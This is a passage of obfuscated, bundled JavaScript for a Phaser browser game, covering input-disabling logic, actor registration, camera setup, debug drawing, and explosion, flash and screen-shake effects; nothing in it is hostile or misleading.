this['onReceivedInboundMessage'](_0x2b9103)), this['gameMessageBus']['subscribe'](this, 'dialogueHasStarted', () => this['addIgnoreActionsReason']('IN_DIALOGUE')), this['gameMessageBus']['subscribe'](this, 'dialogueHasEnded', () => this['removeIgnoreActionsReason']('IN_DIALOGUE')), this['gameMessageBus']['subscribe'](this, 'requestAddIgnoreUserReason', _0x340d47 => this['addIgnoreActionsReason'](_0x340d47)), this['gameMessageBus']['subscribe'](this, 'requestRemoveIgnoreUserReason', _0x36ce73 => this['removeIgnoreActionsReason'](_0x36ce73)), this['gameMessageBus']['subscribe'](this, 'actionStateChange', _0x302087 => this['onActionStateChange'](_0x302087)), this['store']['subscribe']('ignoreUserActionsReasons', ({ oldValue: _0x4c0d54, newValue: _0x54d30a }) => this['onIgnoredActionsChange'](_0x4c0d54, _0x54d30a)); } ['onActionStateChange'](_0x2e040c) { if (_0x2e040c['state'] && 'exit' === _0x2e040c['action']) { if (this['gameContext']['getFromGameStore']('inputsDisabled')) return; this['gameMessageBus']['publish']('requestSendOutboundMessage', { 'message': _0x4c3c94['EMessageOutboundType']['REQUEST_MENU'], 'content': void 0x0 }); } } ['onReceivedInboundMessage'](_0x3b0941) { switch (_0x3b0941) { case _0x4c3c94['EMessageInboundType']['DISABLE_INPUTS']: this['addIgnoreActionsReason']('CLIENT_REQUESTED_DISABLE'); break; case _0x4c3c94['EMessageInboundType']['ENABLE_INPUTS']: this['removeIgnoreActionsReason']('CLIENT_REQUESTED_DISABLE'); break; case _0x4c3c94['EMessageInboundType']['CLOSE_GAME']: this['gameMessageBus']['publish']('startHub'); } } ['addIgnoreActionsReason'](_0x61c071) { const _0x3a6630 = this['store']['get']('ignoreUserActionsReasons') ?? []; this['store']['update']('ignoreUserActionsReasons', [..._0x3a6630, _0x61c071]); } ['removeIgnoreActionsReason'](_0x82c189) { const _0x1bcbca = this['store']['get']('ignoreUserActionsReasons'); this['store']['update']('ignoreUserActionsReasons', _0x1bcbca['filter'](_0x1860b9 => _0x1860b9 !== _0x82c189)); } ['onIgnoredActionsChange'](_0x3df371, _0x38fdc8) { if (_0x3df371['length'] === _0x38fdc8['length']) return; const _0x29f62e = _0x38fdc8['length'] > 0x0; this['gameContext']['updateGameStore']('inputsDisabled', _0x29f62e); } ['maybeAddClientRequestedDisable']() { window['parent'] !== window && this['addIgnoreActionsReason']('CLIENT_REQUESTED_DISABLE'); } } _0x20891a['UserActionsComponent'] = _0x4fb53d; }, 0x462: (_0x427e4c, _0xb3e55e, _0x29976a) => { 'use strict'; Object['defineProperty'](_0xb3e55e, '__esModule', { 'value': !0x0 }), _0xb3e55e['ActorsComponent'] = void 0x0; const _0x3caaf6 = _0x29976a(0x1709); class _0x644f22 extends _0x3caaf6['SceneComponent']{ ['actors'] = new Set();['actorsByTag'] = new Map();['onCreate']() { this['gameMessageBus']['subscribe'](this, 'registerActor', this['registerActor']['bind'](this)), this['gameMessageBus']['subscribe'](this, 'destroyActor', this['destroyActor']['bind'](this)), this['gameMessageBus']['publish']('registerSceneQueryActor', this['queryActors']['bind'](this)); } ['updatePhysics'](_0x32f5ff) { this['actors']['forEach'](_0x55bdee => _0x55bdee['updatePhysicsComponents'](_0x32f5ff)); } ['updateFeatures'](_0xeaf43e) { this['actors']['forEach'](_0x13a76d => _0x13a76d['updateFeatureComponents'](_0xeaf43e)); } ['updatePositions']() { this['actors']['forEach'](_0x270610 => _0x270610['updateActorPosition']()); } ['getVerificationData']() { return [...this['actors']]['map'](_0x3083e7 => ({ 'position': _0x3083e7['getVerificationPosition'](), 'customInfo': _0x3083e7['id'] + '|' + _0x3083e7['getConfig']()['name'] }))['filter'](_0x3f0a76 => void 0x0 !== _0x3f0a76 && void 0x0 !== _0x3f0a76['position']); } ['destroy']() { this['actors']['forEach'](_0x34f985 => _0x34f985['destroy']()), this['actors']['clear'](), this['actorsByTag']['clear'](); } ['registerActor']({ actor: _0xf69919, scene: _0x57a48c }) { _0x57a48c === this['scene'] && (this['actors']['add'](_0xf69919), _0xf69919['getTags']()['forEach'](_0x22da55 => { this['actorsByTag']['has'](_0x22da55) || this['actorsByTag']['set'](_0x22da55, new Set()), this['actorsByTag']['get'](_0x22da55)['add'](_0xf69919); })); } ['destroyActor']({ actor: _0x4193e7, scene: _0x138eca }) { _0x138eca === this['scene'] && (_0x4193e7['getTags']()['forEach'](_0x211f73 => { const _0x2de564 = this['actorsByTag']['get'](_0x211f73); _0x2de564 && (_0x2de564['delete'](_0x4193e7), 0x0 === _0x2de564['size'] && this['actorsByTag']['delete'](_0x211f73)); }), this['actors']['delete'](_0x4193e7), this['messageBus']['publish']('actorDestroyed', _0x4193e7)); } ['queryActors'](_0x53a485) { Array['isArray'](_0x53a485) || (_0x53a485 = [_0x53a485]); const _0x43340c = new Set(); return _0x53a485['forEach'](_0x56132a => { const _0x266fbc = this['actorsByTag']['get'](_0x56132a); _0x266fbc && _0x266fbc['forEach'](_0x3c2d5b => _0x43340c['add'](_0x3c2d5b)); }), Array['from'](_0x43340c); } } _0xb3e55e['ActorsComponent'] = _0x644f22; }, 0x294: (_0x538189, _0x235253, _0x2a98e1) => { 'use strict'; Object['defineProperty'](_0x235253, '__esModule', { 'value': !0x0 }), _0x235253['BodiesDebugComponent'] = void 0x0; const _0x7a7f0b = _0x2a98e1(0xf18), _0x250a8 = _0x2a98e1(0x1709), _0x181ba7 = _0x2a98e1(0x2347); class _0x3f08bb extends _0x250a8['SceneComponent']{ ['debugGraphics'];['onCreate']() { this['gameMessageBus']['subscribe'](this, 'debugUpdate', this['renderDebugData']['bind'](this)), _0x7a7f0b['RenderConfig']['DEBUG'] && (this['debugGraphics'] = this['scene']['add']['graphics']()), this['debugGraphics']['setDepth'](_0x7a7f0b['LAYER_DEPTHS']['DEBUG']), this['gameContext']['setDebugGraphics'](this['debugGraphics']); } ['updateFeatures']() { this['debugGraphics']['visible'] = 'true' === localStorage['getItem']('render_debug'), localStorage['getItem']('render_debug') && this['debugGraphics']['clear'](); } ['renderDebugData']({ debugData: _0x7a05cc }) { if (!localStorage['getItem']('render_debug')) return; if (!_0x7a05cc) return; if (!_0x7a05cc['vertices'] || !_0x7a05cc['colors']) return; const _0x5bdfa8 = _0x7a05cc['vertices'], _0x56fa92 = _0x7a05cc['colors']; for (let _0xacca0f = 0x0; _0xacca0f < _0x5bdfa8['length'] / 0x4; _0xacca0f += 0x1) { const _0x1b8393 = Phaser['Display']['Color']['GetColor'](0xff * _0x56fa92[0x8 * _0xacca0f], 0xff * _0x56fa92[0x8 * _0xacca0f + 0x1], 0xff * _0x56fa92[0x8 * _0xacca0f + 0x2]), _0x199679 = _0x56fa92[0x8 * _0xacca0f + 0x3]; this['debugGraphics']['lineStyle'](0x1, _0x1b8393, _0x199679), this['debugGraphics']['beginPath'](), this['debugGraphics']['moveTo']((0x0, _0x181ba7['physicsScalar2RenderScalar'])(_0x5bdfa8[0x4 * _0xacca0f]), (0x0, _0x181ba7['physicsScalar2RenderScalar'])(_0x5bdfa8[0x4 * _0xacca0f + 0x1])), this['debugGraphics']['lineTo']((0x0, _0x181ba7['physicsScalar2RenderScalar'])(_0x5bdfa8[0x4 * _0xacca0f + 0x2]), (0x0, _0x181ba7['physicsScalar2RenderScalar'])(_0x5bdfa8[0x4 * _0xacca0f + 0x3])), this['debugGraphics']['strokePath'](); } } } _0x235253['BodiesDebugComponent'] = _0x3f08bb; }, 0x1512: (_0x1d7e5b, _0x59364d, _0x2adcf2) => { 'use strict'; Object['defineProperty'](_0x59364d, '__esModule', { 'value': !0x0 }), _0x59364d['CameraComponent'] = _0x59364d['CAMERA_DEFAULT_LERP'] = _0x59364d['ECamera'] = void 0x0; const _0x490c70 = _0x2adcf2(0xb35), _0xd13597 = _0x2adcf2(0xf18), _0x35e867 = _0x2adcf2(0x1709); var _0x121442; !function (_0x224425) { _0x224425['MAIN'] = 'main'; }(_0x121442 = _0x59364d['ECamera'] || (_0x59364d['ECamera'] = {})), _0x59364d['CAMERA_DEFAULT_LERP'] = 0.08; class _0x3c5ed6 extends _0x35e867['SceneComponent']{ ['onCreate']() { const _0x4b6559 = { [_0x121442['MAIN']]: this['scene']['cameras']['add'](0x0, 0x0, this['scene']['sys']['game']['config']['width'], this['scene']['sys']['game']['config']['height']) }; this['gameContext']['setupCameras'](_0x4b6559), this['gameMessageBus']['subscribe'](this, 'pinCameraToObject', _0x42b318 => { this['setupFollow'](_0x4b6559[_0x121442['MAIN']], _0x42b318); }), this['gameMessageBus']['subscribe'](this, 'setupCameraOffset', _0x12e374 => { this['setupCameraOffset'](_0x4b6559[_0x121442['MAIN']], _0x12e374); }), this['setupCameras'](_0x4b6559), this['gameContext']['timeProvider']['delayAction'](() => _0x4b6559[_0x121442['MAIN']]['setLerp'](_0x59364d['CAMERA_DEFAULT_LERP'], _0x59364d['CAMERA_DEFAULT_LERP']), 0x64); } ['setupCameras'](_0x1e6450) { this['scene']['cameras']['main']['visible'] = !0x1, Object['values'](_0x1e6450)['forEach'](_0x24438c => this['setupCamera'](_0x24438c)); } ['setupFollow'](_0x54106a, _0x58b3d5) { _0x54106a['startFollow'](_0x58b3d5); } ['setupCameraOffset'](_0x35bc68, _0x453dea) { _0x35bc68['setFollowOffset'](_0x453dea['x'], _0x453dea['y']); } ['setupCamera'](_0x83f2ba) { _0x83f2ba['setZoom'](_0xd13597['RenderConfig']['SCENE_SCALE']), _0x83f2ba['roundPixels'] = !0x0, _0x83f2ba['setBounds'](0x0, 0x0, this['gameContext']['getCurrentLevelConfig']()['tilesHorizontal'] * _0x490c70['PhysicsConfig']['TILE_SIZE'], this['gameContext']['getCurrentLevelConfig']()['tilesVertical'] * _0x490c70['PhysicsConfig']['TILE_SIZE']); } } _0x59364d['CameraComponent'] = _0x3c5ed6; }, 0x162b: (_0x25a7c5, _0x1aa8fe) => { 'use strict'; Object['defineProperty'](_0x1aa8fe, '__esModule', { 'value': !0x0 }), _0x1aa8fe['debugPerformanceModel'] = void 0x0, _0x1aa8fe['debugPerformanceModel'] = { 'spinesEnabled': !0x0, 'particlesEnabled': !0x0, 'lightsEnabled': !0x0, 'spritesEnabled': !0x0, 'groundEnabled': !0x0, 'backgroundEnabled': !0x0 }; }, 0x399: (_0x3f8acb, _0x3bce6e, _0x4694f5) => { 'use strict'; Object['defineProperty'](_0x3bce6e, '__esModule', { 'value': !0x0 }), _0x3bce6e['ExplosionCreationController'] = void 0x0; const _0xc510c2 = _0x4694f5(0x18e5), _0x34d11c = _0x4694f5(0xac1), _0x20d4a4 = _0x4694f5(0x221b), _0x25a538 = { 'min': 0x1, 'max': 0x1, 'minDelayMS': 0x0, 'maxDelayMS': 0x0, 'maxDistance': 0x0, 'animationName': [''], 'particles': void 0x0, 'flash': void 0x0, 'screenShake': void 0x0, 'shaderLightConfig': void 0x0, 'sound': void 0x0, 'useAllSounds': !0x1 }; class _0x4a7dde extends _0x34d11c['SceneComponentController']{ ['getRandomElementExceptLast'];['init']() { this['getRandomElementExceptLast'] = this['gameContext']['rngProvider']['createRandomElementSelector'](), this['gameMessageBus']['subscribe'](this, 'requestExplosion', _0x113d08 => { const _0x10029b = this['gameContext']['getExplosionConfig'](_0x113d08['explosionName']); this['component']['createExplosion']({ 'animationName': _0x10029b['animationName'], 'position': _0x113d08['position'], 'rotation': _0x113d08['rotation'] ?? 0x0, 'lightConfig': _0x10029b['shaderLightConfig'] }), this['maybePlayExplosionSound'](!!_0x10029b['useAllSounds'], _0x113d08, _0x10029b['sound']), this['renderEffects'](_0x113d08['position'], _0x10029b['particles'], _0x10029b['flash'], _0x10029b['screenShake']), _0x10029b['subExplosions'] && _0x10029b['subExplosions']['forEach'](_0x279485 => { const _0x1305fe = { ..._0x25a538, ..._0x279485 }, _0x454a6b = this['gameContext']['rngProvider']['getRandomInteger'](_0x20d4a4['EProviderContext']['FRONTEND_ONLY'], _0x1305fe['min'], _0x1305fe['max']); for (let _0x820979 = 0x0; _0x820979 <= _0x454a6b; _0x820979++) { const _0x340427 = this['getRandomElementExceptLast'](_0x20d4a4['EProviderContext']['FRONTEND_ONLY'], _0x1305fe['animationName']), _0x182b23 = _0x113d08['position'], _0x21de89 = _0x1305fe['maxDistance']; this['gameContext']['timeProvider']['delayAction'](() => { if (!_0x340427) return; const _0x43b291 = _0x113d08['rotation'] ? this['gameContext']['rngProvider']['getRandomFloat'](_0x20d4a4['EProviderContext']['FRONTEND_ONLY'], 0x0, 0x2 * Math['PI']) : 0x0; this['component']['createExplosion']({ 'position': new _0xc510c2['Vector'](_0x182b23['x'] + this['gameContext']['rngProvider']['getRandomInteger'](_0x20d4a4['EProviderContext']['FRONTEND_ONLY'], -_0x21de89, _0x21de89), _0x182b23['y'] + this['gameContext']['rngProvider']['getRandomInteger'](_0x20d4a4['EProviderContext']['FRONTEND_ONLY'], -_0x21de89, _0x21de89)), 'rotation': _0x43b291, 'animationName': _0x340427, 'lightConfig': _0x1305fe['shaderLightConfig'] }), this['maybePlayExplosionSound'](_0x1305fe['useAllSounds'], _0x113d08, _0x1305fe['sound']), this['renderEffects'](_0x182b23, _0x1305fe['particles'], _0x1305fe['flash'], _0x1305fe['screenShake']); }, this['gameContext']['rngProvider']['getRandomInteger'](_0x20d4a4['EProviderContext']['FRONTEND_ONLY'], _0x1305fe['minDelayMS'], _0x1305fe['maxDelayMS'])); } }); }); } ['renderEffects'](_0x808196, _0x41ad7e, _0x2543b6, _0x15c30d) { _0x41ad7e && this['gameMessageBus']['publish']('requestParticles', { ..._0x41ad7e, 'x': _0x808196['x'], 'y': _0x808196['y'] }), _0x2543b6 && this['gameMessageBus']['publish']('requestFlash', { 'config': _0x2543b6, 'position': _0x808196 }), _0x15c30d && this['gameMessageBus']['publish']('requestScreenShake', { 'config': _0x15c30d, 'position': _0x808196 }); } ['maybePlayExplosionSound'](_0x10078e, _0x243547, _0x33361e) { if (!_0x33361e) return; const _0x19881a = Array['isArray'](_0x33361e) ? _0x33361e : [_0x33361e]; if (_0x10078e) _0x19881a['forEach'](_0x2c2fc1 => { this['playSingleSound'](_0x243547, _0x2c2fc1); }); else { const _0xd0060 = this['gameContext']['rngProvider']['getRandomElement'](_0x20d4a4['EProviderContext']['FRONTEND_ONLY'], _0x19881a); this['playSingleSound'](_0x243547, _0xd0060); } } ['playSingleSound'](_0x23130c, _0x5bae00) { const _0x8a30cb = { ..._0x5bae00, 'position': _0x23130c['position'] }; _0x23130c['originActor'] && (_0x8a30cb['groupName'] = _0x23130c['originActor']['id']), this['gameMessageBus']['publish']('requestSound', { 'config': _0x8a30cb }); } } _0x3bce6e['ExplosionCreationController'] = _0x4a7dde; }, 0x2352: (_0x339e79, _0x2933ae, _0x279a5e) => { 'use strict'; Object['defineProperty'](_0x2933ae, '__esModule', { 'value': !0x0 }), _0x2933ae['ExplosionRenderComponent'] = void 0x0; const _0x3f9232 = _0x279a5e(0x1709), _0x48be10 = _0x279a5e(0x5d3), _0x7914c3 = _0x279a5e(0x221b), _0x4802ed = _0x279a5e(0xf18), _0x57c6d9 = _0x279a5e(0xd2e), _0x550587 = _0x279a5e(0x1b39); class _0x1df735 extends _0x3f9232['SceneComponent']{ ['spriteSet'] = new Set();['lightsIndex'] = 0x0;['lights'] = {};['getRandomElementExceptLast'];['init']() { this['getRandomElementExceptLast'] = this['gameContext']['rngProvider']['createRandomElementSelector'](); } ['update'](_0x56bb6d) { this['spriteSet']['forEach'](_0xe293ae => _0xe293ae['update']()); } ['createExplosion'](_0x4c78e7) { const _0x5d0eb9 = this['getRandomElementExceptLast'](_0x7914c3['EProviderContext']['FRONTEND_ONLY'], _0x4c78e7['animationName']), _0x1b50bc = this['gameContext']['getAnimationConfig'](_0x5d0eb9); _0x1b50bc['blendMode'] === Phaser['BlendModes']['ADD'] ? this['gameContext']['timeProvider']['delayAction'](() => this['handleCreateExplosion'](_0x1b50bc, _0x4c78e7['position'], _0x4c78e7['rotation'], _0x4c78e7['lightConfig'])) : this['handleCreateExplosion'](_0x1b50bc, _0x4c78e7['position'], _0x4c78e7['rotation'], _0x4c78e7['lightConfig']); } ['destroy']() { this['spriteSet']['forEach'](_0x20726d => _0x20726d['destroy']()), this['spriteSet']['clear'](); } ['deleteSprite'](_0x7edab) { this['spriteSet']['has'](_0x7edab) && (_0x7edab['destroy'](), this['spriteSet']['delete'](_0x7edab)); } ['deleteLight'](_0x55c92e, _0x3683c7) { this['lights'][_0x3683c7] && (this['scene']['lights']['removeLight'](_0x55c92e), delete this['lights'][_0x3683c7]); } ['fadeSprite'](_0x1096c0, _0x515ab1) { const _0x2a47c3 = { ..._0x515ab1['fade'] }; _0x1096c0['setAlpha'](_0x2a47c3['initialAlpha']), _0x2a47c3['initialScale'] && _0x1096c0['setScale'](_0x2a47c3['initialScale']), this['gameContext']['timeProvider']['delayAction'](() => { _0x1096c0['scene']['tweens']['add']({ 'targets': _0x1096c0, 'alpha': { 'from': _0x2a47c3['initialAlpha'], 'to': _0x2a47c3['targetAlpha'] }, 'duration': _0x2a47c3['durationMS'], 'onComplete': () => { } }), _0x2a47c3['initialScale'] && _0x2a47c3['targetScale'] && _0x1096c0['scene']['tweens']['add']({ 'targets': _0x1096c0, 'scale': { 'from': _0x2a47c3['initialScale'] ?? 0x1, 'to': _0x2a47c3['targetScale'] ?? 0x0 }, 'duration': _0x2a47c3['durationMS'], 'onComplete': () => { } }); }, _0x2a47c3['startTimeMS']); } ['handleCreateExplosion'](_0x9edb24, _0x2a1edc, _0x50088c, _0x1373c0) { this['scene']['anims']['exists'](_0x9edb24['animationConfig']['key']) || this['scene']['anims']['create'](_0x9edb24['animationConfig']); const _0x1a3251 = _0x9edb24['animationConfig']['key'] ? void 0x0 : _0x9edb24['animationConfig']['staticFrame'], _0x732fe0 = this['scene']['add']['sprite'](_0x2a1edc['x'], _0x2a1edc['y'], _0x9edb24['textureName'], _0x1a3251); _0x9edb24['animationConfig']['key'] && _0x732fe0['play'](_0x9edb24['animationConfig']['key']); const _0x2d170a = _0x9edb24['flipXForLeftDirection'] && (0x0, _0x57c6d9['isFacingLeft'])(_0x50088c) !== !!_0x9edb24['swapX']; _0x732fe0['setFlipX'](!!_0x2d170a); const _0x1336fd = (0x0, _0x550587['degToRad'])(_0x9edb24['offsetRotation'] ?? 0x0) * (_0x2d170a ? -0x1 : 0x1), _0x19ffd6 = 'USE_ROTATION' === _0x9edb24['rotationType'] ? _0x1336fd + _0x50088c : _0x1336fd; _0x9edb24['swapY'] && _0x732fe0['setFlipY'](!0x0), _0x9edb24['tint'] && _0x732fe0['setTint'](_0x9edb24['tint']), _0x9edb24['affectedByLight'] && !(0x0, _0x48be10['runningAsBackend'])() && _0x732fe0['setPipeline']('Light2D'), _0x9edb24['scale'] && _0x732fe0['setScale'](_0x9edb24['scale']), _0x9edb24['scaleX'] && (_0x732fe0['scaleX'] = _0x9edb24['scaleX'] * (_0x9edb24['scale'] ?? 0x1)), _0x9edb24['scaleY'] && (_0x732fe0['scaleY'] = _0x9edb24['scaleY'] * (_0x9edb24['scale'] ?? 0x1)), _0x9edb24['blendMode'] && _0x732fe0['setBlendMode'](_0x9edb24['blendMode']), _0x9edb24['alpha'] && _0x732fe0['setAlpha'](_0x9edb24['alpha']); const _0x489eda = _0x2d170a ? -0x1 : 0x1; if (_0x9edb24['offsetPosition']) { const _0x298411 = _0x732fe0['rotation'], _0x1571be = _0x9edb24['offsetPosition']['x'] * Math['cos'](_0x298411) - _0x9edb24['offsetPosition']['y'] * Math['sin'](_0x298411), _0x144a8b = _0x9edb24['offsetPosition']['x'] * Math['sin'](_0x298411) + _0x9edb24['offsetPosition']['y'] * Math['cos'](_0x298411); _0x732fe0['x'] += _0x1571be * _0x489eda, _0x732fe0['y'] += _0x144a8b; } _0x732fe0['setRotation'](_0x19ffd6); const _0x5e7dda = _0x732fe0['blendMode'] === Phaser['BlendModes']['ADD'] ? _0x4802ed['LAYER_DEPTHS']['SPRITE_ADD'] : _0x4802ed['LAYER_DEPTHS']['SPRITE']; let _0x4374b4, _0x5da53b; _0x732fe0['setDepth'](_0x5e7dda + (_0x9edb24['renderDepthOffset'] ?? 0x0)), _0x1373c0 && ({ light: _0x4374b4, lightIndex: _0x5da53b } = this['handleCreateLight'](_0x1373c0, _0x2a1edc)), _0x9edb24['destroyOnAnimationEnd'] && _0x732fe0['on']('animationcomplete', () => { this['deleteSprite'](_0x732fe0), _0x4374b4 && this['deleteLight'](_0x4374b4, _0x5da53b); }); const _0x60b459 = _0x9edb24['animationConfig']['key'] ? void 0x0 : _0x9edb24['animationConfig']['durationMS']; if (_0x60b459 || _0x9edb24['durationMS']) { const _0x14d6ae = _0x60b459 ?? _0x9edb24['durationMS'] ?? 0x1 / 0x0; this['gameContext']['timeProvider']['delayAction'](() => { this['deleteSprite'](_0x732fe0), _0x4374b4 && this['deleteLight'](_0x4374b4, _0x5da53b); }, _0x14d6ae); } _0x9edb24['fade'] && this['fadeSprite'](_0x732fe0, _0x9edb24), this['spriteSet']['add'](_0x732fe0); } ['handleCreateLight'](_0x1b35b1, _0x50fe26) { const _0x543cf4 = this['scene']['lights']['addLight'](_0x50fe26['x'], _0x50fe26['y'], _0x1b35b1['radius']); if (_0x543cf4['setColor'](parseInt(_0x1b35b1['color'], 0x10))['setIntensity'](_0x1b35b1['intensity']), this['lights'][this['lightsIndex']] = _0x543cf4, this['lightsIndex']++, _0x1b35b1?.['fadeOutDurationMS'] && _0x1b35b1?.['fadeInDurationMS']) throw new Error('Cannot\x20have\x20both\x20fadeOutDurationMS\x20and\x20fadeInDurationMS\x20in\x20lightConfig;\x20check\x20previous\x20error\x20for\x20light\x20config\x20object.'); return _0x1b35b1?.['fadeOutDurationMS'] && this['setupFadeLight'](_0x543cf4, _0x1b35b1['fadeOutDurationMS'], 'fadeOut'), _0x1b35b1?.['fadeInDurationMS'] && this['setupFadeLight'](_0x543cf4, _0x1b35b1['fadeInDurationMS'], 'fadeIn'), { 'light': _0x543cf4, 'lightIndex': this['lightsIndex'] - 0x1 }; } ['setupFadeLight'](_0x235f06, _0x209b48, _0x37dfd4) { const _0x1f0458 = this['scene']['tweens']['add']({ 'targets': _0x235f06, 'intensity': 'fadeIn' === _0x37dfd4 ? { 'from': 0x0, 'to': _0x235f06['intensity'] } : { 'from': _0x235f06['intensity'], 'to': 0x0 }, 'duration': _0x209b48, 'onComplete': () => { this['scene']['tweens']['remove'](_0x1f0458); } }); } } _0x2933ae['ExplosionRenderComponent'] = _0x1df735; }, 0x5f9: function (_0xb1d2d7, _0x79d431, _0x537810) { 'use strict'; var _0x294cdc = this && this['__createBinding'] || (Object['create'] ? function (_0x32d164, _0x31626c, _0x5d4b5b, _0x9561b6) { void 0x0 === _0x9561b6 && (_0x9561b6 = _0x5d4b5b); var _0x391bb0 = Object['getOwnPropertyDescriptor'](_0x31626c, _0x5d4b5b); _0x391bb0 && !('get' in _0x391bb0 ? !_0x31626c['__esModule'] : _0x391bb0['writable'] || _0x391bb0['configurable']) || (_0x391bb0 = { 'enumerable': !0x0, 'get': function () { return _0x31626c[_0x5d4b5b]; } }), Object['defineProperty'](_0x32d164, _0x9561b6, _0x391bb0); } : function (_0x515b9a, _0xe0be8, _0x1bc1c0, _0xd4ce66) { void 0x0 === _0xd4ce66 && (_0xd4ce66 = _0x1bc1c0), _0x515b9a[_0xd4ce66] = _0xe0be8[_0x1bc1c0]; }), _0x282a25 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x53b67f, _0xe7de45) { Object['defineProperty'](_0x53b67f, 'default', { 'enumerable': !0x0, 'value': _0xe7de45 }); } : function (_0xc2cd1a, _0xb970f9) { _0xc2cd1a['default'] = _0xb970f9; }), _0x59d96a = this && this['__importStar'] || function (_0x2ee6ac) { if (_0x2ee6ac && _0x2ee6ac['__esModule']) return _0x2ee6ac; var _0x320865 = {}; if (null != _0x2ee6ac) { for (var _0x54c762 in _0x2ee6ac) 'default' !== _0x54c762 && Object['prototype']['hasOwnProperty']['call'](_0x2ee6ac, _0x54c762) && _0x294cdc(_0x320865, _0x2ee6ac, _0x54c762); } return _0x282a25(_0x320865, _0x2ee6ac), _0x320865; }; Object['defineProperty'](_0x79d431, '__esModule', { 'value': !0x0 }), _0x79d431['FlashAndScreenShakeRenderComponent'] = _0x79d431['TScreenShakeConfig'] = _0x79d431['TFlashConfig'] = void 0x0; const _0x4c3373 = _0x537810(0xf18), _0xee09e8 = _0x537810(0x1709), _0x431c55 = _0x537810(0x1512), _0x2526aa = _0x59d96a(_0x537810(0x22f3)); _0x79d431['TFlashConfig'] = _0x2526aa['intersection']([_0x2526aa['type']({ 'color': _0x2526aa['string'], 'durationMS': _0x2526aa['number'], 'alpha': _0x2526aa['number'] }), _0x2526aa['partial']({ 'fadeDelayMS': _0x2526aa['number'], 'blendMode': _0x2526aa['string'], 'camera': _0x2526aa['unknown'], 'scene': _0x2526aa['unknown'] })]), _0x79d431['TScreenShakeConfig'] = _0x2526aa['intersection']([_0x2526aa['type']({ 'magnitudeX': _0x2526aa['number'], 'magnitudeY': _0x2526aa['number'], 'durationMS': _0x2526aa['number'] }), _0x2526aa['partial']({ 'camera': _0x2526aa['unknown'] })]); const _0x422cc9 = { 'NORMAL': Phaser['BlendModes']['NORMAL'], 'ADD': Phaser['BlendModes']['ADD'], 'MULTIPLY': Phaser['BlendModes']['MULTIPLY'] }, _0x34d8ea = 1.1; class _0x5266e5 extends _0xee09e8['SceneComponent']{ ['flashRectanglesSet'] = new Set();['init']() { this['gameMessageBus']['subscribe'](this, 'requestFlash', ({ config: _0x51c501, position: _0x4d9d91 }) => this['renderFlash'](_0x51c501, _0x4d9d91)), this['gameMessageBus']['subscribe'](this, 'requestScreenShake', ({ config: _0x234abf, position: _0x33841d }) => this['renderScreenShake'](_0x234abf, _0x33841d)); } ['renderFlash'](_0x3b0e71, _0x4706b9) { const _0x1fbd06 = _0x3b0e71['camera'] ?? this['gameContext']['getCamera'](_0x431c55['ECamera']['MAIN']); if (!(!_0x4706b9 || _0x4706b9 && this['isEffectInCamera'](_0x1fbd06, _0x4706b9))) return; const _0x409eeb = _0x3b0e71['scene'] ?? this['scene'], _0x55711f = _0x1fbd06['width'] * _0x34d8ea, _0x41fa6e = _0x1fbd06['height'] * _0x34d8ea, _0xab9e9a = 0x0 - 0.10000000000000009 * _0x1fbd06['width'] / 0x2, _0x5978bb = 0x0 - 0.10000000000000009 * _0x1fbd06['height'] / 0x2, _0x101c32 = _0x409eeb['add']['rectangle'](_0xab9e9a, _0x5978bb, _0x55711f, _0x41fa6e, parseInt(_0x3b0e71['color'], 0x10)), _0x287576 = _0x422cc9[_0x3b0e71['blendMode'] || 'ADD']; _0x101c32['setBlendMode'](_0x287576 === Phaser['BlendModes']['ADD'] ? Phaser['BlendModes']['ADD'] : _0x287576), _0x101c32['setOrigin'](0x0, 0x0), _0x101c32['setDepth'](_0x287576 === Phaser['BlendModes']['ADD'] ? _0x4c3373['LAYER_DEPTHS']['FLASH'] : _0x4c3373['LAYER_DEPTHS']['FLASH_DARK']), _0x101c32['setScrollFactor'](0x0), _0x101c32['setAlpha'](_0x3b0e71['alpha']), this['flashRectanglesSet']['add'](_0x101c32), this['scene']['tweens']['add']({ 'targets': _0x101c32, 'alpha': { 'from': _0x3b0e71['alpha'], 'to': 0x0 }, 'duration': _0x3b0e71['durationMS'], 'delay': _0x3b0e71['fadeDelayMS'] ?? 0x0, 'ease': 'Linear', 'onComplete': () => { _0x101c32['destroy'](), this['flashRectanglesSet']['delete'](_0x101c32); } }); } ['renderScreenShake'](_0x2bf567, _0x246a44) { const _0x20847c = _0x2bf567['camera'] ?? this['gameContext']['getCamera'](_0x431c55['ECamera']['MAIN']); (!_0x246a44 || _0x246a44 && this['isEffectInCamera'](_0x20847c, _0x246a44)) && _0x20847c['shake'](_0x2bf567['durationMS'], new Phaser['Math']['Vector2'](_0x2bf567['magnitudeX'], _0x2bf567['magnitudeY'])); } ['isEffectInCamera'](_0x2318aa, _0x751eb7) { const _0x45f334 = _0x2318aa['worldView'], _0x5959ca = { 'left': _0x751eb7['x'], 'right': _0x751eb7['x'], 'top': _0x751eb7['y'], 'bottom': _0x751eb7['y'] }; return _0x45f334['contains'](_0x5959ca['left'], _0x5959ca['top']) || _0x45f334['contains'](_0x5959ca['right'], _0x5959ca['top']) || _0x45f334['contains'](_0x5959ca['left'], _0x5959ca['bottom']) || _0x45f334['contains'](_0x5959ca['right'], _0x5959ca['bottom']); } } _0x79d431['FlashAndScreenShakeRenderComponent'] = _0x5266e5; }, 0xed4: function (_0x17e33d, _0x3e1aac, _0x98b60d) { 'use strict'; var _0x4c16fb = this && this['__createBinding'] || (Object['create'] ? function (_0x1761af, _0x586735, _0x4aab93, _0x261b44) { void 0x0 === _0x261b44 && (_0x261b44 = _0x4aab93); var _0x513cfb = Object['getOwnPropertyDescriptor'](_0x586735, _0x4aab93); _0x513cfb && !('get' in _0x513cfb ? !_0x586735['__esModule'] : _0x513cfb['writable'] || _0x513cfb['configurable']) || (_0x513cfb = { 'enumerable': !0x0, 'get': function () { return _0x586735[_0x4aab93]; } }), Object['defineProperty'](_0x1761af, _0x261b44, _0x513cfb); } : function (_0x236679, _0x263d43, _0x32279b, _0x2ec235) { void 0x0 === _0x2ec235 && (_0x2ec235 = _0x32279b), _0x236679[_0x2ec235] = _0x263d43[_0x32279b]; }), _0x17ff44 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x17b505, _0x2e47ad) { Object['defineProperty'](_0x17b505, 'default', { 'enumerable': !0x0, 'value': _0x2e47ad }); } : function (_0x2f0029, _0x179eaf) { _0x2f0029['default'] = _0x179eaf; }), _0x4659c4 = this && this['__importStar'] || function (_0x29be5d) { if (_0x29be5d && 